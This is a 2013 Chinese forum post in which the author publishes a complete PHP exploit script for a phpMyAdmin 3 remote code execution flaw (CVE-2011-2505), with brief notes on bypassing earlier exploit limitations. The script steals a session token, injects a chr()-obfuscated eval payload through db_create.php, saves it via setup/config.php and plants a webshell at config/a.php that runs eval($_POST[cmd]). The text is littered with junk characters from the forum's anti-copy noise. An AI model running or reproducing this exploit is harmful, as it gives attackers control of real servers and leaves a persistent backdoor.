找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2107|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。4 p. v( p  P2 s

0 U/ @1 Y4 i' X: c$ x) L" }* P. `昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。' Z! F9 o/ K3 U& L" k: R$ `% w

" q* u: `* W: v; g: {( o( p8 g( B! z首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
8 ^& C+ x0 s, {( @' x一是session.auto_start = 1;/ n+ F  r$ n' i% S3 T
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。7 s% @; M: ~  q6 ~& ?
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
9 O' V2 f! w" ~( v# t
' Q. M+ a, |3 [4 s0 V在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
& V8 V# m2 J3 i" U8 x. b
( }0 [$ B& I8 p/ U于是写了这个php版本的exp,代码如下:% S) C$ a" B! E/ T% X1 _

/ _: K+ i' E6 E& D; u/ m#!/usr/bin/php
6 E: P7 v0 n  L6 P" Q& z1 U<?php$ u& A. I# H* t5 @
print_r('0 o5 D  H; W' ]  j) M4 E) W
+---------------------------------------------------------------------------+
6 N) t) h5 _( Y3 J( V( Qpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
3 f. ]0 I6 m% U. u; `by oldjun(www.oldjun.com)
9 C* Y0 [( T5 |( `! d, W8 Wwelcome to www.t00ls.net% r8 U! p8 B- N6 o, ?$ l
mail: oldjun@gmail.com
. H" o/ n$ N6 q' e0 a& wAssigned CVE id: CVE-2011-2505$ G, u% @+ W9 E1 D6 D/ i$ ]6 s
+---------------------------------------------------------------------------+1 U1 E) l8 j- v  e/ }
');: V  U" [" m' B0 ~  s% g, G

3 Q! d% p1 C4 f7 `) i! D/**
  n, {( f3 @" O& h0 A  o. ^% e * working when the directory:"config" exists and is writeable.7 `0 I4 J& \- D) w/ _  L% H
**/# M% s1 ~+ p" i8 S* d* a
* ~/ X* A0 i3 v# ]0 o: I! v
if ($argc < 3) {4 g5 ]4 m! }; W9 I6 J8 w2 R" u# n- Q
    print_r('
# B, n# u& d" ?1 a+---------------------------------------------------------------------------+- U, |7 o" p3 h! d- \& U1 N
Usage: php '.$argv[0].' host path
2 o8 u! @4 ^# X) u' Ghost:      target server (ip/hostname)' {7 M* K" t% s5 q
path:      path to pma3
8 A3 H% H" I7 k1 `+ v0 I4 b2 bExample:7 E2 }# K: {0 p; A9 g
php '.$argv[0].' localhost /pma/
. a- z+ L: O/ T+---------------------------------------------------------------------------+
7 S0 c4 e; I9 `! x/ |( ]" `  Z5 u');
# E( x3 s% E" H  S    exit;
2 J1 b% Y& C% y/ K; O}* {& `. F- M. p% t0 u
5 T& i5 _5 i$ M# i, s1 R3 j
$host = $argv[1];  F. _$ o2 j3 ~/ o8 ~" j; r& \
$path = $argv[2];
" t( x7 Y* Y5 n- k% `% h- g) K- a
/**
' a1 x6 [2 |$ O- d7 R; T& n9 S * Try to determine if the directory:"config" exists! A+ u" L3 }2 f6 u) J
**/
) S! v5 `, Y! n& X% @+ x: mecho "[+] Try to determine if the directory:config exists....\n";0 v; s% H8 o, r( _' u5 ~2 Q. E9 G2 g
$returnstr=php_request('config/');6 R& `+ q3 g3 U3 R8 l- }
if(strpos($returnstr,'404')){
9 |$ y/ v  e/ f3 i% H    exit("[-] Exploit Failed! The directory:config do not exists!\n");2 S1 z6 \9 o* [3 m+ _7 h
}
- B. H$ ]0 b5 W
( ]* P4 a9 {; n' O3 v/**
  U- C. ~4 X, R6 U3 C+ a: R * Try to get token and sessionid7 }( n2 X& k% D* I
**/
) i% M: H* O, b* J0 L  V' Eecho "[+] Try to get token and sessionid....\n";. g( w- {0 H. {( P) d
$result=php_request('index.php');
5 @$ }! d/ ?1 \: g( s! Epreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
0 c# z; c+ J" O( d. F0 n$token=$resp[3];
% h- T- d/ K# r: S# j- }6 j" D$sessionid=$resp[1];
. ^1 \2 z8 K) U! a! Kif($token && $sessionid){, P: c: M0 _  p& v
    echo "[+] tokentoken\n";
0 a: P( ?' e( r% Z" F    echo "[+] Session IDsessionid\n";3 n  k% z* M  O# F+ _2 w
}else{
* G8 v9 x# u: B/ @    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
6 m( \. ^( y4 r: o' \9 U6 ^2 l}
& ]  P( R9 w+ v" Y& Z* O8 N  \
7 H# F. s* d- S" h7 t/**, [4 d8 \- b; _
* Try to insert shell into session4 x7 d! D- r) m$ N% o4 }
**/
4 `9 q6 e( S2 M# @9 r/ M7 gecho "[+] Try to insert shell into session....\n";! |  S& u- R* H6 V% _, a3 t+ L
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
) ^' W+ Q: E7 Z- }4 s% G! w- e5 q+ ~' p. Q8 B
/**) o0 q9 t4 n. B1 @2 {
* Try to create webshell" J$ I5 w* a: G* `2 Y" N5 H; C
**/
( D7 i: l9 o. ~7 u$ |echo "[+] Try to create webshell....\n";
9 h* i% ^/ k, q' G7 ]% L5 R$ `! sphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);7 J6 v' a4 E% ]8 ]
/**
" t" A0 p. b3 g* k9 v% Z) _9 z * Try to check if the webshell was created successfully
3 \# v/ _. I* J: M4 y4 R**/
3 e* t+ B, a( becho "[+] Try to check if the webshell was created successfully....\n";
7 C$ x9 H8 _2 \- o4 a$content=php_request('config/config.inc.php');
0 U6 z! T0 B9 q& D9 sif(strpos($content,'t00ls')){$ ^. o6 a3 u8 K3 U1 S6 `, h2 P; W/ y
    echo "[+] Congratulations! Expoilt successfully....\n";
. V4 ^/ a7 f' E* u# C! e    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
1 Z) Y/ v1 _3 i8 x+ ~7 s1 z5 }' `}else{( _9 D1 A- n- O5 B! N' L8 x" E
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
, L: A4 d7 f+ M. f) O}
& T0 E! R# c( }' G2 _/ ?4 G$ d- [/ y6 X
function php_request($url,$data='',$cookie=''){
! r% Z+ j. X0 s( A5 s1 D. k$ ?, g    global  $host, $path;
4 F+ k; C# V3 Z1 Z$ o) y4 F) K    $ B: y! q' X/ u
    $method=$data?'POST':'GET';
$ V$ v% F; |. K. ?2 ^( n! S    " w* e. T: b  \) M6 O" E$ R4 y) I
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
1 ?7 }" l0 S0 {2 a: R. s$ }    $packet .= "Accept: */*\r\n";
' C# z0 D0 l$ y/ [+ O    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
! C3 e! J2 ]. {. _, k/ x9 Q- O    $packet .= "Host: $host\r\n";9 y# m2 c4 Q: [  w4 T3 ?
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
  H  z& B& m* S3 @    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";, @2 B# E, |' C
    $packet .= $cookie?"Cookie: $cookie\r\n":"";1 p3 {& M" y+ W/ @4 R# ~
    $packet .= "Connection: Close\r\n\r\n";
/ ^3 J" n! T% t" n- }- a7 H  K7 j    $packet .= $data?$data:"";8 @- B. a# d0 {( H4 ~
$ [4 I1 i3 K+ y: e& g" F+ V. m4 @
    $fp = fsockopen(gethostbyname($host), 80);/ g. F8 C0 [8 }- b( h/ m
    if (!$fp) {
4 z& s7 X7 e3 V' U3 f2 W% J- x    echo 'No response from '.$host; die;
' t5 O  _0 C7 Z" C    }( x" v  t- U+ C+ x3 Z$ L, V
    fputs($fp, $packet);
8 q; @1 o+ T& q* e" L5 s
# y! x4 X, Y1 N+ L    $resp = '';7 v! T5 X7 ]( l+ F4 ?
* d" ]) j; h2 L- T
    while ($fp && !feof($fp))
# Y  y' {# ?$ v        $resp .= fread($fp, 1024);; I4 j# q& A' T, l
! G9 D' [; ?- f; x5 l6 {
    return $resp;( p  d6 C$ A4 _+ d0 E# j( Q4 |9 s
}
/ D" f6 F3 _& r) H0 `5 _: A# |   
8 a' ]3 Y8 t; G?>
! R8 @. V, n, P/ q/ ]2 F.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表